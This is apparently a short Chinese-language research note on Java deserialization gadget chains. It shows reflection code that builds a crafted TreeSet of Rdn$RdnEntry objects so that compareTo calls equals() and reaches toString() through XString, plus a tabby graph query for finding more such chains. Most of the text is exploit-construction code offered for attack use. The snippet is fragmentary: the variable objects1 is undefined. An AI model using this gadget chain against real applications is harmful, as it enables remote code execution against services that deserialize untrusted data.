unam4

0x01 TreeMap 的四条触发tosting

核心就是利用javax.naming.ldap.Rdn.RdnEntry#compareTo去触发obj1.equals(obj2)

        Object xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB");
//        Object xstring = createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XString");
        utils.setFieldValue(xstring, "m_obj", "2");
//       Object xstring = utils.createWithoutConstructor("javax.sound.sampled.AudioFileFormat.Type");
//       Object xstring = utils.createWithoutConstructor("javax.sound.sampled.AudioFormat$Encoding");
        Object rdnEntry1 = utils.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
        utils.setFieldValue(rdnEntry1, "type", "ysomap");
        utils.setFieldValue(rdnEntry1, "value", objects1);

        Object rdnEntry2 = utils.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry");
        utils.setFieldValue(rdnEntry2, "type", "ysomap");
        utils.setFieldValue(rdnEntry2, "value", xstring);
        TreeSet treeSet = makeTreeSet(rdnEntry1, rdnEntry2);

 public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception {
            TreeMap<Object,Object> m = new TreeMap<>();
            utils.setFieldValue(m, "size", 2);
            utils.setFieldValue(m, "modCount", 2);
            Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
            Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
            Object node = nodeCons.newInstance(v1, new Object[0], null);
            Object right = nodeCons.newInstance(v2, new Object[0], node);
            utils. setFieldValue(node, "right", right);
            utils.setFieldValue(m, "root", node);

            TreeSet set = new TreeSet();
            utils.setFieldValue(set, "m", m);
            return set;
        }

javax.naming.ldap.Rdn.RdnEntry#compareTo

可以控制vaule，也就是可以控制 obj1.equals(obj2)

使用tabby查询只调用一次的

1 2	`MATCH path = (n:Method {NAME: "equals"})-[:CALL]->(:Method {NAME0:"java.lang.Object#toString"}) where none(n in nodes(path) where n.CLASSNAME CONTAINS "com.fr") RETURN path`